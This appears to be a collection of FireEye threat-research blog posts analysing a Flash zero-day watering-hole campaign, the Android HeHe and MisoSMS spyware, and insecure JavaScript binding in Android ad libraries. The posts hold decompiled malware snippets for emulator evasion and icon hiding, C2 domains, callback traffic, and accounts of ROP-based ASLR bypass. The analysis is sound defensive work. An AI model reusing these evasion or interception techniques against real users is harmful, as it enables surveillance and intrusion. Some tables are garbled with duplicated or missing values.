Before Apple fixes this issue, the only way for iOS users to avoid this security risk is to use the iOS task manager to stop the apps from running in the background to prevent potential background monitoring. iOS7 users can press the Home button twice to enter the task manager and see preview screens of apps opened, and then swipe an app up and out of preview to disable unnecessary or suspicious applications running on the background, as shown in Fig.3.

We conducted this research independently before we were aware of this recent report. We hope this blog could help users understand and mitigate this threat further.

Acknowledgement: Special thanks to Jari Salomaa for his valuable comments and feedback. We also thank Raymond Wei, Dawn Song, and Zheng Bu for their valuable help on writing this blog.

Operation GreedyWonk: Multiple Economic and Foreign Policy Sites Compromised, Serving Up Flash Zero-Day Exploit

Less than a week after uncovering Operation SnowMan, the FireEye Dynamic Threat Intelligence cloud has identified another targeted attack campaign — this one exploiting a zero-day vulnerability in Flash. We are collaborating with Adobe security on this issue. Adobe has assigned the CVE identifier CVE-2014-0502 to this vulnerability and released a security bulletin.

As of this blog post, visitors to at least three nonprofit institutions — two of which focus on matters of national security and public policy — were redirected to an exploit server hosting the zero-day exploit. We’re dubbing this attack “Operation GreedyWonk.”

We believe GreedyWonk may be related to a May 2012 campaign outlined by ShadowServer, based on consistencies in tradecraft (particularly with the websites chosen for this strategic Web compromise), attack infrastructure, and malware configuration properties.

The group behind this campaign appears to have sufficient resources (such as access to zero-day exploits) and a determination to infect visitors to foreign and public policy websites. The threat actors likely sought to infect users to these sites for follow-on data theft, including information related to defense and public policy matters.


On Feb. 13, FireEye identified a zero-day Adobe Flash exploit that affects the latest version of the Flash Player ( and 11.7.700.261). Visitors to the Peter G. Peterson Institute for International Economics (www.piie[.]com) were redirected to an exploit server hosting this Flash zero-day through a hidden iframe.

We subsequently found that the American Research Center in Egypt (www.arce[.]org) and the Smith Richardson Foundation (www.srf[.]org) also redirected visitors the exploit server. All three organizations are nonprofit institutions; the Peterson Institute and Smith Richardson Foundation engage in national security and public policy issues.


To bypass Windows’ Address Space Layout Randomization (ASLR) protections, this exploit targets computers with any of the following configurations:

  • Windows XP
  • Windows 7 and Java 1.6
  • Windows 7 and an out-of-date version of Microsoft Office 2007 or 2010

Users can mitigate the threat by upgrading from Windows XP and updating Java and Office. If you have Java 1.6, update Java to the latest 1.7 version. If you are using an out-of-date Microsoft Office 2007 or 2010, update Microsoft Office to the latest version.

These mitigations do not patch the underlying vulnerability. But by breaking the exploit’s ASLR-bypass measures, they do prevent the current in-the-wild exploit from functioning.

Vulnerability analysis

GreedyWonk targets a previously unknown vulnerability in Adobe Flash. The vulnerability permits an attacker to overwrite the vftable pointer of a Flash object to redirect code execution.

ASLR bypass

The attack uses only known ASLR bypasses. Details of these techniques are available from our previous blog post on the subject (in the “Non-ASLR modules” section).

For Windows XP, the attackers build a return-oriented programming (ROP) chain of MSVCRT (Visual C runtime) gadgets with hard-coded base addresses for English (“en”) and Chinese (“zh-cn” and “zh-tw”).

On Windows 7, the attackers use a hard-coded ROP chain for MSVCR71.dll (Visual C++ runtime) if the user has Java 1.6, and a hard-coded ROP chain for HXDS.dll (Help Data Services Module) if the user has Microsoft Office 2007 or 2010.

Java 1.6 is no longer supported and does not receive security updates. In addition to the MSVCR71.dll ASLR bypass, a variety of widely exploited code-execution vulnerabilities exist in Java 1.6. That’s why FireEye strongly recommends upgrading to Java 1.7.

The Microsoft Office HXDS.dll ASLR bypass was patched at the end of 2013. More details about this bypass are addressed by Microsoft’s Security Bulletin MS13-106 and an accompanying blog entry. FireEye strongly recommends updating Microsoft Office 2007 and 2010 with the latest patches.

Shellcode analysis

The shellcode is downloaded in ActionScript as a GIF image. Once ROP marks the shellcode as executable using Windows’ VirtualProtect function, it downloads an executable via the InternetOpenURLA and InternetReadFile functions. Then it writes the file to disk with CreateFileA and WriteFile functions. Finally, it runs the file using the WinExec function.

PlugX/Kaba payload analysis

Once the exploit succeeds, a PlugX/Kaba remote access tool (RAT) payload with the MD5 hash 507aed81e3106da8c50efb3a045c5e2b is installed on the compromised endpoint. This PlugX sample was compiled on Feb. 12, one day before we first observed it, indicating that it was deployed specifically for this campaign.

This PlugX payload was configured with the following command-and-control (CnC) domains:

  • java.ns1[.]name
  • wmi.ns01[.]us

Sample callback traffic was as follows:

POST /D28419029043311C6F8BF9F5 HTTP/1.1

Accept: */*

HHV1: 0

HHV2: 0

HHV3: 61456

HHV4: 1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; SV1)


Content-Length: 0

Connection: Keep-Alive

Cache-Control: no-cache

Campaign analysis

Both java.ns1[.]name and[.]org resolved to on Feb. 18, 2014. Passive DNS analysis reveals that the domain previously resolved to between July 4, 2013 and July 15, 2013 and on Feb. 17, 2014.  java.ns1[.]name also resolved to on February 18.

Domain First Seen Last Seen IP Address[.]org[.]org 2014-02-18 2014-02-18 2014-02-19 2014-02-19
java.ns1[.]name java.ns1[.]name 2014-02-18 2014-02-18 2014-02-19 2014-02-19
java.ns1[.]name java.ns1[.]name 2014-02-18 2014-02-18 2014-02-18 2014-02-18
wmi.ns01[.]us wmi.ns01[.]us 2014-02-17 2014-02-17 2014-02-17 2014-02-17
proxy.ddns[.]info proxy.ddns[.]info 2013-05-02 2013-05-02 2014-02-18 2014-02-18
updatedns.ns02[.]us updatedns.ns02[.]us 2013-09-06 2013-09-06 2013-09-06 2013-09-06
updatedns.ns01[.]us updatedns.ns01[.]us 2013-09-06 2013-09-06 2013-09-06 2013-09-06
wmi.ns01[.]us wmi.ns01[.]us 2013-07-04 2013-07-04 2013-07-15 2013-07-15


MD5 Family Compile Time Alternate C2s
7995a9a6a889b914e208eb924e459ebc 7995a9a6a889b914e208eb924e459ebc PlugX PlugX 2012-06-09 2012-06-09 fuckchina.govnb[.]com fuckchina.govnb[.]com
bf60b8d26bc0c94dda2e3471de6ec977 bf60b8d26bc0c94dda2e3471de6ec977 PlugX PlugX 2010-03-15 2010-03-15[.]org[.]org
fd69793bd63c44bbb22f9c4d46873252 fd69793bd63c44bbb22f9c4d46873252 Poison Ivy Poison Ivy 2013-03-07 2013-03-07 N/A N/A
88b375e3b5c50a3e6c881bc96c926928 88b375e3b5c50a3e6c881bc96c926928 Poison Ivy Poison Ivy 2012-06-11 2012-06-11 N/A N/A
cd07a9e49b1f909e1bd9e39a7a6e56b4 cd07a9e49b1f909e1bd9e39a7a6e56b4 Poison Ivy Poison Ivy 2012-06-11 2012-06-11 N/A N/A

The Poison Ivy variants that connected to the domain wmi.ns01[.]us had the following unique configuration properties:

Domain First Seen Last Seen IP Address
fuckchina.govnb[.]com fuckchina.govnb[.]com 2013-12-11 2013-12-11 2013-12-11 2013-12-11[.]org[.]org 2014-02-12 2014-02-12 2014-02-12 2014-02-12[.]org[.]org 2013-12-04 2013-12-04 2013-12-04 2013-12-04

We found a related Poison Ivy sample (MD5 8936c87a08ffa56d19fdb87588e35952) with the same “java7” password, which was dropped by an Adobe Flash exploit (CVE-2012-0779). In this previous incident, visitors to the Center for Defense Information website (www.cdi[.]org — also an organization involved in defense matters — were redirected to an exploit server at

This exploit server hosted a Flash exploit file named BrightBalls.swf (MD5 1ec5141051776ec9092db92050192758). This exploit, in turn, dropped the Poison Ivy variant. In addition to using the same password “java7,” this variant was configured with the mutex with the similar pattern of “YFds*&^ff” and connected to a CnC server at windows.ddns[.]us.

Using passive DNS analysis, we see the domains windows.ddns[.]us and wmi.ns01[.]us both resolved to in mid-2012.

Domain First Seen Last Seen IP Address 2012-07-07 2012-07-07 2012-09-19 2012-09-19 2012-05-23 2012-05-23 2012-06-10 2012-06-10

During another earlier compromise of the same website, visitors were redirected to a Java exploit test.jar (MD5 7d810e3564c4eb95bcb3d11ce191208e). This jar file exploited CVE-2012-0507 and dropped a Poison Ivy payload with the hash (MD5 52aa791a524b61b129344f10b4712f52). This Poison Ivy variant connected to a CnC server at ids.ns01[.]us. The domain ids.ns01[.]us also overlaps with the domain wmi.ns01[.]us on the IP

Domain First Seen Last Seen IP Address
wmi.ns01[.]us wmi.ns01[.]us 2012-07-03 2012-07-03 2012-07-04 2012-07-04
ids.ns01[.]us ids.ns01[.]us 2012-04-23 2012-04-23 2012-05-18 2012-05-18

The Poison Ivy sample referenced above (MD5 fd69793bd63c44bbb22f9c4d46873252) was delivered via an exploit chain that began with a redirect from the Center for European Policy Studies (www.ceps[.]be). In this case, visitors were redirected from www.ceps[.]be to a Java exploit hosted on shop.fujifilm[.]be.

In what is certainly not a coincidence, we also observed www.arce[.]org (one of the sites redirecting to the current Flash exploit) also redirect visitors to the Java exploit on shop.fujifilm[.]be in 2013.



This threat actor clearly seeks out and compromises websites of organizations related to international security policy, defense topics, and other non-profit sociocultural issues. The actor either maintains persistence on these sites for extended periods of time or is able to re-compromise them periodically.

This actor also has early access to a number of zero-day exploits, including Flash and Java, and deploys a variety of malware families on compromised systems. Based on these and other observations, we conclude that this actor has the tradecraft abilities and resources to remain a credible threat in at least the mid-term.

Android.HeHe: Malware Now Disconnects Phone Calls

FireEye Labs has recently discovered six variants of a new Android threat that steals text messages and intercepts phone calls. We named this sample set “Android.HeHe” after the name of the activity that is used consistently across all samples.

Here is a list of known bot variants:

MD5 VirusTotal Detection Ratio
1caa31272daabb43180e079bca5e23c1 1caa31272daabb43180e079bca5e23c1 2/48 2/48
8265041aca378d37006799975fa471d9 8265041aca378d37006799975fa471d9 1/47 1/47
2af4de1df7587fa0035dcefededaedae 2af4de1df7587fa0035dcefededaedae 2/45 2/45
2b41fbfb5087f521be193d8c1f5efb4c 2b41fbfb5087f521be193d8c1f5efb4c 2/46 2/46
aa0ed04426562df25916ff70258daf6c aa0ed04426562df25916ff70258daf6c 1/46 1/46
9507f93d9a64d718682c0871bf354e6f 9507f93d9a64d718682c0871bf354e6f 1/47 1/47


The app disguises itself as “android security” (Figure 1), attempting to provide the users what is advertised as an OS Update. It contacts the command-and-control (CnC) server to register itself then goes on to monitor incoming SMS messages. The CnC is expected to respond with a list of phone numbers that are of interest to the malware author. If one of these numbers sends an SMS or makes a call to an infected device, the malware intercepts the message or call, suppresses device notifications from the device, and removes any trace of the message or call from device logs. Any SMS messages from one of these numbers are logged into an internal database and sent to the CnC server. Any phone calls from these numbers are silenced and rejected.

[caption id="attachment_4369" align="aligncenter" width="302"]App installs itself Figure 1[/caption]


This app starts the main HeHe activity at startup. The constructor of the HeHeActivity registers a handler using the android.os.Handle, which acts as a thread waiting for an object of type android.os.Message to perform different actions, which are outlined below.

Because the HeHeActivity implements the standard DailogInterfaceOnClickListener, the start of the app causes the showAlterDailog message to be displayed (Figure 2).

[caption id="attachment_4373" align="aligncenter" width="404"]Fake OS Update in progress Figure 2: The above messages make the user believe that an OS update check is under progress[/caption]

The app then sends an intent to start three services in the background. These services are explained below.

Sandbox-evasion tactic

This app checks for the presence of an emulator by calling the isEmulator function, which does the following:

  1. It checks the value of the MODEL of the device (emulators with the Google ADT bundle have the string “sdk” as a part of the MODEL variable).
  2. It also checks to see if the IMSI code is “null” — emulators do not have an IMSI code associated with them.

Here is the isEmulator code:

String v0 = TelephonyUtils.getImsi(((Context)this));
if(v0 == null) {
public static boolean isEmulator() {
boolean v0;
if((Build.MODEL.equalsIgnoreCase("sdk")) || (Build.MODEL.equalsIgnoreCase("google_sdk"))) {
v0 = true;
else {
v0 = false;
return v0;

The code checks whether the the app is being run in the Android QEMU emulator. It also checks whether the value of IMSI is equal to null


This service runs in the background. Once started the app calls the setComponentEnabledSetting method as follows:

this.getPackageManager().setComponentEnabledSetting(new ComponentName(((Context)this), HeheActivity.class), 2, 1);

This removes the app from the main menu of the phone leading the user to believe that the app is no longer installed on the phone. It then goes on to check the network status of the phone as shown below

public void checkNetwork() { 
if(!this.isNetworkAvailable()) {

After the service has been created. The onStart method is called, which checks the message provided as a part of the intent. The message types are START and LOGIN


If the message in the intent is START, The app calls the sendReigsterRequest() function. The sendRegisterRequest function first checks for the presence of an emulator as explained in the "Sandbox-evasion tactic" section

It then collects the IMSI IMEI, phone number, SMS address and channel ID. It packs all this information into a JSON object. Once the JSON object is created. It is converted to a string, which is sent to the CnC server. The CnC communication is explained below.


If the message in the intent is LOGIN, the app calls the sendLoginRequest method, which in turn collects the following:

  • Version number of the app (hard-coded as "1.0.0")
  • The model of the phone
  • The version of the operating system
  • The type of network associated with the device (GSM/CDMA)

This information is also packed into a JSON object, converted into a string, and sent to the CnC server.

RegisterBroadcastReceiver service

This service is invoked at the start of the app as the RegisterService. It in turn registers the IncomeCallAndSmsReceiver(), which is set to respond to these three intents:

  • android.provider.Telephony.SMS_RECEIVED, which notifies once a SMS has been received on the device
  • android.intent.action.PHONE_STATE, which notifies once the cellular state of the device has changed. Examples include RINGING and OFF_HOOK.
  • android.intent.action.SCREEN_ON, which notifies once the screen has been turned on or turned off.

Additionally, it also sets observers over Android content URIs as follows:

  • The SmsObserver is set to observe the content://sms, which enables it to access all SMS messages that are present on the device.
  • The CallObserver is set to observe the content://call_log/calls, which allows it to access the call log of all incoming, outgoing and missed calls on the device.


The main HeHe activity mentioned at the start issues the ACTION_START intent to the ConnectionService class as follows:

Intent v2 = new Intent(((Context)this), ConnectionService.class);


v2.setFlags(268435456); this.startService(v2); LogUtils.debug("heheActivity", "start connectionService service"); The app then starts a timer task that is scheduled to be invoked every 5000 seconds. This timed task does the following:
  • Creates an object instance of the android.os.Message class
  • Sets the value of "what" in the Message object to 1
  • The handler of this message that was initiated in the constructor then gets called which, in turn calls the showFinishBar function that displays the message “현재 OS에서 최신 소프트웨어버전을 사용하고있습니다,” which translates to “The current OS you are using the latest version of the software.”



The RegisterBroadcastReceiver registers this receiver once the app gets started. When an SMS is received on the device. The IncomeCallAndSmsReceiver gets the intent. Because this receiver listens for one of three intents, any intents received by this receiver are checked for their type.

If the received intent is of type android.provider.telephony.SMS_RECEIVED, the app extracts the contents of the SMS and the phone number of the sender. If the first three characters of the phone number matches the first three characters from phone numbers in a table named tbl_intercept_info, then the SMS intent is aborted and the SMS is deleted from the devices SMS inbox so that the user never sees it. After the SMS notification is suppressed, the app bundles the SMS as follows:

"createTime":"2014-01-10 16:21:36",

From there, it sends the to the CnC server (

It also records the SMS in the tbl_message_info table in its internal database.

If the received intent is of type android.intent.action.PHONE_STATE, the app checks the tbl_intercept_info table in the local database. If the number of the caller appears in this table, then the ringer mode of the phone is set to silent to suppress the notification of the incoming call and the phone call is disconnected. Its corresponding entry from the call logs is also removed, removing all traces of the phone call from the device.

No actions have been defined for the intent, even though the IncomeCallAndSmsReceiver receiver is the recipient.


This app uses two hard-coded IP address to locate its CnC servers: and The app performs all communications through HTTP POST requests. The contents of the HTTP POST are encrypted using AES with a 128-bit key that is hardcoded into the app. The app sends its lastVersion value —to, to address is where is used to check for , in which the app sends its version of the app. The address is used to report incoming SMS messages

Because the IP address is no longer reachable, responses from the server could not be analyzed. What is clear is that the server sends a JSON object in response, which contains a "token" field.

Although the CnC server is currently unavailable, we can infer how the app works by examining the how it processes the received responses.

The app consists of different data structures that are converted into their equivalent JSON representations when they are sent to the CnC. Also, All JSON object responses are converted into their equivalent internal data structures. We have also observed the mechanism used to populate the internal database which includes tables (tbl_intercept_info) which contain the phone numbers to be blocked.

The app uses hxxp:// and hxxp:// to send information to the CnC server.

The mapping of URLs to their internal class data structures is as follows:

GetLastVersionRequest /getLastVersion
RegisterRequest /register
LoginRequest /login
ReportRequest /report
GetTaskRequest /getTask
ReportMessage Request /reportMessage

The meaning and structures of these are explained in the following sections.


This request is sent when the app is first installed on the device. The bot sends the version code of the device (currently set to 1.0.0) to the CnC. The CnC response shall contain the URL to an update if available. The availability of an update is signified through an ‘update’ field in the response

[caption id="attachment_4377" align="alignnone" width="816"]Request to CnC to check for version Request to CnC to check for version[/caption]


This request is sent when the app sends an intent with a “LOGIN” option to the RegisterService as explained  above. The request contains the IMSI, IMEI, Phone number, SMS address (Phone number), Channel ID, a token and the IP address being used by the app as its CnC. This causes the infected device to be registered with the CnC.


This request is sent to further authenticate the device to the CnC, It contains the token previously received, the version of the Bot, the model of the phone, the version of the OS, the type of network and the other active network parameters such as signal strength. In response, It only gets a result value.


The report request sends the information present in tbl_report_info to the CnC. This table contains information about other requests that were sent but failed.


This requests asks for tasks from the CnC server. The response contains a retry interval and a sendSmsActionNotify value. It is sent when the response to the LoginRequest is 401 instead of 200.


This request to the CnC sends the contents of the SMS messages that are received on the device. It consists of the contents of the SMS message, the time of the message and the sender of the SMS. This has been observed in the logcat output as follows:



Android malware variants are mushrooming. Threats such as Android.HeHe and Android.MisoSMS reveal attackers' growing interest in monitoring SMS messages and phone call logs. They also serve as a stark reminder of just how dangerous apps from non-trusted marketplaces can be.

JS-Binding-Over-HTTP Vulnerability and JavaScript Sidedoor: Security Risks Affecting Billions of Android App Downloads

Third-party libraries, especially ad libraries, are widely used in Android apps. Unfortunately, many of them have security and privacy issues. In this blog, we summarize our findings related to the insecure usage of JavaScript binding in ad libraries.

First, we describe a widespread security issue with using JavaScript binding (addJavascriptInterface) and loading WebView content over HTTP, which allows a network attacker to take control of the application by hijacking the HTTP traffic. We call this the JavaScript-Binding-Over-HTTP (JS-Binding-Over-HTTP) vulnerability. Our analysis shows that, currently, at least 47 percent of the top 40 ad libraries have this vulnerability in at least one of their versions that are in active use by popular apps on Google Play.

Second, we describe a new security issue with the JavaScript binding annotation, which we call JavaScript Sidedoor. Starting with Android 4.2, Google introduced the @JavascriptInterface annotation to explicitly designate and limit which public methods in Java objects are accessible from JavaScript. If an ad library uses @JavascriptInterface annotation to expose security-sensitive interfaces, and uses HTTP to load content in the WebView, then an attacker over the network could inject malicious content into the WebView to misuse the exposed interfaces through the JS binding annotation. We call these exposed JS binding annotation interfaces JS sidedoors.

Our analysis shows that these security issues are widespread, have affected popular apps on Google Play accounting for literally billions of app downloads. The parties we notified about these issues have been actively addressing them.

Security Issues with JavaScript Binding over HTTP

Android uses the JavaScript binding method addJavascriptInterface to enable JavaScript code running inside a WebView to access the app’s Java methods. However, it is widely known that this feature, if not used carefully, presents a potential security risk when running on Android 4.1 or below. As noted by Google: “Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application.” [1]

In particular, if an app running on Android 4.1 or below uses the JavaScript binding method addJavascriptInterface and loads the content in the WebView over HTTP, then an attacker over the network could hijack the HTTP traffic, e.g., through WiFi or DNS hijacking, to inject malicious content into the WebView – and thus take control over the host application. We call this the JavaScript-Binding-Over-HTTP (JS-Binding-Over-HTTP) vulnerability. If an app containing such vulnerability has sensitive Android permissions such as access to the camera, then a remote attacker could exploit this vulnerability to perform sensitive tasks such as taking photos or record video in this case, over the Internet, without a user’s consent.

We have analyzed the top 40 third-party ad libraries (not including Google Ads) used by Android apps. Among the apps with over 100,000 downloads each on Google Play, over 42 percent of the free apps currently contain at least one of these top ad libraries. The total download count of such apps now exceeds 12.4 billion. From our analysis, at least 47 percent of these top 40 ad libraries have at least one version of their code in active use by popular apps on Google Play, and contain the JS-Binding-Over-HTTP vulnerability. As an example, InMobi versions 2.5.0 and above use the JavaScript binding method addJavascriptInterface and load content in the WebView using HTTP.

Security Issues with JavaScript Binding Annotation

Starting with Android 4.2, Google introduced the @JavascriptInterface annotation to explicitly designate and limit which public Java methods in the app are accessible from JavaScript running inside a WebView. However, note that the @JavascriptInterface annotation does not provide any protection for devices using Android 4.1 or below, which is still running on more than 80 percent of Android devices worldwide.

We discovered a new class of security issues, which we call JavaScript Sidedoor (JS sidedoor), in ad libraries. If an ad library uses the @JavascriptInterface annotation to expose security-sensitive interfaces, and uses HTTP to load content in the WebView, then it is vulnerable to attacks where an attacker over the network (e.g., via WIFI or DNS hijacking) could inject malicious content into the WebView to misuse the interfaces exposed through the JS binding annotation. We call these exposed JS binding annotation interfaces JS sidedoors.

For example, starting with version 3.6.2, InMobi added the @JavascriptInterface JS binding annotation. The list of exposed methods through the JS binding annotation in InMobi includes:

  • createCalendarEvent (version 3.7.0 and above)
  • makeCall (version 3.6.2 and above)
  • postToSocial (version 3.7.0 and above)
  • sendMail (version 3.6.2 and above)
  • sendSMS (version 3.6.2 and above)
  • takeCameraPicture (version 3.7.0 and above)
  • getGalleryImage (version 3.7.0 and above)
  • registerMicListener (version 3.7.0 and above)

InMobi also provides JavaScript wrappers to these methods in the JavaScript code served from their ad servers, as shown in Appendix A.

InMobi also loads content in the WebView using HTTP. If an app has the Android permission CALL_PHONE, and is using InMobi versions 3.6.2 to 4.0.2, an attacker over the network (for example, using Wi-Fi or DNS hijacking) could abuse the makeCall annotation in the app to make phone calls on the device without a user’s consent – including to premium numbers.

In addition, without requiring special Android permissions in the host app, attackers over the network, via HTTP or DNS hijacking, could also misuse the aforementioned exposed methods to misguide the user to post to the user’s social network from the device (postToSocial in version 3.7.0 and above), send email to any designated recipient with a pre-crafted title and email body (sendMail in version 3.6.2 and above), send SMS to premium numbers (sendSMS in version 3.6.2 and above), create calendar events on the device (createCalendarEvent in version 3.7.0 and above), and to take pictures and access the photo gallery on the device (takeCameraPicture and getGalleryImage in version 3.7.0 and above). To complete these actions, the user would need to click on certain consent buttons. However, as generally known, users are quite vulnerable to social engineering attacks through which attackers could trick users to give consent.

We have identified more than 3,000 apps on Google Play that contain versions 2.5.0 to 4.0.2 of InMobi – and which have over 100,000 downloads each as of December, 2013. Currently, the total download count for these affected apps is greater than 3.7 billion.

We have informed both Google and InMobi of our findings, and they have been actively working to address them.

New InMobi Update after FireEye Notification

After we notified the InMobi vendor about these security issues, they promptly released new SDK versions 4.0.3 and 4.0.4. The 4.0.3 SDK, marked as “Internal release”, was superseded by 4.0.4 after one day. The 4.0.4 SDK made the following changes:

  1. Changed its method exposed through annotation for making phone calls (makeCall) to require user’s consent.
  2. Added a new storePicture interface to download and save specified files from the Internet to the user’s Downloads folder. Despite the name, it can be used for any file, not just images.
  3. Compared with InMobi’s earlier versions, we consider change No. 1 as an improvement that addresses the aforementioned issue of an attacker making phone calls without a user’s consent. We are glad to see that InMobi made this change after our notification.

    InMobi recently released a new SDK version 4.1.0. Compared with SDK version 4.0.4, we haven't seen any changes to JS Binding usage from a security perspective in this new SDK version 4.1.0.

    Moving Forward: Improving Security for JS Binding in Third-party Libraries

    In summary, the insecure usage of JS Binding and JS Binding annotations in third-party libraries exposes many apps that contain these libraries to security risks.

    App developers and third-party library vendors often focus on new features and rich functionalities. However, this needs to be balanced with a consideration for security and privacy risks. We propose the following to the mobile application development and library vendor community:

    1. Third-party library vendors need to explicitly disclose security-sensitive features in their privacy policies and/or their app developer SDK guides.
    2. Third-party library vendors need to educate the app developers with information, knowledge, and best practices regarding security and privacy when leveraging their SDK.
    3. App developers need to use caution when leveraging third-party libraries, apply best practices on security and privacy, and in particular, avoid misusing vulnerable APIs or packages.
    4. When third-party libraries use JS Binding, we recommend using HTTPS for loading content.
    5. Since customers may have different requirements regarding security and privacy, apps with JS-Binding-Over-HTTP vulnerabilities and JS sidedoors can introduce risks to security-sensitive environments such as enterprise networks. FireEye Mobile Threat Prevention provides protection to our customers from these kinds of security threats.


      We thank our team members Adrian Mettler and Zheng Bu for their help in writing this blog.

      Appendix A: JavaScript Code Snippets Served from InMobi Ad Servers

      a.takeCameraPicture = function () {



      a.getGalleryImage = function () {



      a.makeCall = function (f) {

      try {


      } catch (d) {

      a.showAlert("makeCall: " + d)



      a.sendMail = function (f, d, b) {

      try {

      utilityController.sendMail(f, d, b)

      } catch (c) {

      a.showAlert("sendMail: " + c)



      a.sendSMS = function (f, d) {

      try {

      utilityController.sendSMS(f, d)

      } catch (b) {

      a.showAlert("sendSMS: " + b)



      a.postToSocial = function (a, c, b, e) {

      a = parseInt(a);

      isNaN(a) && window.mraid.broadcastEvent("error", "socialType must be an integer", "postToSocial");

      "string" != typeof c && (c = "");

      "string" != typeof b && (b = "");

      "string" != typeof e && (e = "");

      utilityController.postToSocial(a, c, b, e)


      a.createCalendarEvent = function (a) {

      "object" != typeof a && window.mraid.broadcastEvent("error",

      "createCalendarEvent method expects parameter", "createCalendarEvent");

      "string" != typeof a.start || "string" != typeof a.end ?


      "createCalendarEvent method expects string parameters for start and end dates",

      "createCalendarEvent") :

      ("string" != typeof a.location && (a.location = ""),

      "string" != typeof a.description && (a.description = ""),

      utilityController.createCalendarEvent(a.start, a.end, a.location, a.description))


      a.registerMicListener=function() {



      Trends in Targeted Attacks: 2013

      FireEye has been busy over the last year. We have tracked malware-based espionage campaigns and published research papers on numerous advanced threat actors. We chopped through Poison Ivy, documented a cyber arms dealer, and revealed that Operation Ke3chang had targeted Ministries of Foreign Affairs in Europe.

      Worldwide, security experts made many breakthroughs in cyber defense research in 2013. I believe the two biggest stories were Mandiant’s APT1 report and the ongoing Edward Snowden revelations, including the revelation that the U.S. National Security Agency (NSA) compromised 50,000 computers around the world as part of a global espionage campaign.

      In this post, I would like to highlight some of the outstanding research from 2013.

      Trends in Targeting

      Targeted malware attack reports tend to focus on intellectual property theft within specific industry verticals. But this year, there were many attacks that appeared to be related to nation-state disputes, including diplomatic espionage and military conflicts.


      Where kinetic conflict and nation-state disputes arise, malware is sure to be found. Here are some of the more interesting cases documented this year:

      • Middle East: continued attacks targeting the Syrian opposition; further activity by Operation Molerats related to Israel and Palestinian territories.
      • India and Pakistan: tenuous relations in physical world equate to tenuous relations in cyberspace. Exemplifying this trend was the Indian malware group Hangover, the ByeBye attacks against Pakistan, and Pakistan-based attacks against India.
      • Korean peninsula: perhaps foreshadowing future conflict, North Korea was likely behind the Operation Troy (also known as DarkSeoul) attacks on South Korea that included defacements, distributed denial-of-service (DDoS) attacks, and malware that wiped hard disks. Another campaign, Kimsuky, may also have a North Korean connection.
      • China: this was the source of numerous attacks, including the ongoing Surtr campaign, against the Tibetan and Uygur communities, which targeted MacOS and Android.


      Malware continues to play a key role in espionage in the Internet era. Here are some examples that stood out this year:

      • The Snowden documents revealed that NSA and GCHQ deployed key logging malware during the G20 meeting in 2009.
      • In fact, G20 meetings have long been targets for foreign intelligence services, including this year’s G20 meeting in Russia.
      • The Asia-Pacific Economic Cooperation (APEC) and The Association of Southeast Asian Nations (ASEAN) are also frequent targets.
      • FireEye announced that Operation Ke3chang compromised at least five Ministries of Foreign Affairs in Europe.
      • Red October, EvilGrab, and Nettraveler (aka RedStar) targeted both diplomatic missions and commercial industries.

      Technical Trends

      Estimations of “sophistication” often dominate the coverage of targeted malware attacks. But what I find interesting is that simple changes made to existing malware are often more than enough to evade detection. Even more surprising is that technically “unsophisticated” malware is often found in the payload of “sophisticated” zero-day exploits. And this year quite a number of zero-days were used in targeted attacks.


      Quite a few zero-day exploits appeared in the wild this year, including eleven discovered by FireEye. These exploits included techniques to bypass ASLR and application sandboxes. The exploits that I consider the most significant are the following:


      The malware samples used by several advanced persistent threat (APT) actors were slightly modified this year, possibly as an evasive response to increased scrutiny, in order to avoid detection. For example, there were changes to Aumlib and Ixeshe, which are malware families associated with APT12, the group behind attacks on the New York Times. When APT1 (aka Comment Crew) returned after their activities were exposed, they also used modified malware. In addition, Terminator (aka FakeM), and Sykipot were modified.

      Threat Actors

      Attribution is a tough problem, and the term itself has multiple meanings. Some use it to refer to an ultimate benefactor, such as a nation-state. Others use the term to refer to malware authors, or command-and-control (CnC) operators. This year, I was fascinated by published research about exploit and malware dealers and targeted attack contractors (also known as cyber “hitmen”), because it further complicates the traditional “state-sponsored” analysis that we’ve become accustomed to.

      • Dealers — The malware and exploits used in targeted attacks are not always exclusively available to one threat actor. Some are supplied by commercial entities such as FinFisher, which has been reportedly used against activists around the world, and HackingTeam, which sells spyware to governments and law enforcement agencies. FireEye discovered a likely cyber arms dealer that is connected to no fewer than 11 APT campaigns – however, the relationship between the supplier and those who use the malware remains unclear. Another similar cluster, known as the Maudi Operation, was also documented this year.
      • Hitmen — Although this analysis is still highly speculative, some threat actors, such as Hidden Lynx, may be “hackers for hire”, tasked with breaking into targets and acquiring specific information. Others, such as IceFog, engage in “hit and run” attacks, including the propagation of malware in a seemingly random fashion. Another group, known as Winnti, tries to profit by targeting gaming companies with malware (PlugX) that is normally associated with APT activity. In one of the weirdest cases I have seen, malware known as “MiniDuke”, which is reminiscent of some “old school” malware developed by 29A, was used in multiple attacks around the world.

      My colleagues at FireEye have put forward some interesting stealthy techniques in the near future. In any case, 2014 will no doubt be another busy year for those of us who research targeted malware attacks.

      MisoSMS: New Android Malware Disguises Itself as a Settings App, Steals SMS Messages

      FireEye has uncovered and helped weaken one of the largest advanced mobile botnets to date. The botnet, which we are dubbing “MisoSMS,” has been used in at least 64 spyware campaigns, stealing text messages and emailing them to cybercriminals in China.

      MisoSMS infects Android systems by deploying a class of malicious Android apps. The mobile malware masquerades as an Android settings app used for administrative tasks. When executed, it secretly steals the user’s personal SMS messages and emails them to a command-and-control (CnC) infrastructure hosted in China. FireEye Mobile Threat Prevention platform detects this class of malware as “Android.Spyware.MisoSMS.”

      Here are some highlights of MisoSMS:

      • We discovered 64 mobile botnet campaigns that belong to the MisoSMS malware family.
      • Each of the campaigns leverage Web mail as its (CnC) infrastructure.
      • The CnC infrastructure comprises more than 450 unique malicious email accounts.
      • FireEye has been working with the community to take down the CnC infrastructure.
      • The majority of the devices infected are in Korea, which leads us to believe that this threat is active and prevalent in that region.
      • The attackers logged in from Korea and mainland China, among other locations, to periodically read the stolen SMS messages.

      MisoSMS is active and widespread in Korea, and we are working with Korean law enforcement and the Chinese Web mail vendor to mitigate this threat. This threat highlights the need for greater cross-country and cross-organizational efforts to take down large malicious campaigns.

      At the time of of this blog post, all of the reported malicious email accounts have been deactivated and we have not noticed any new email addresses getting registered by the attacker. FireEye Labs will closely monitor this threat and continue working with relevant authorities to mitigate it.

      Technical Analysis

      Once the app is installed, it presents itself as “Google Vx.” It asks for administrative permissions on the device, which enables the malware to hide itself from the user, as shown in Figure 2.


      The message in Figure 3 translates to the following:

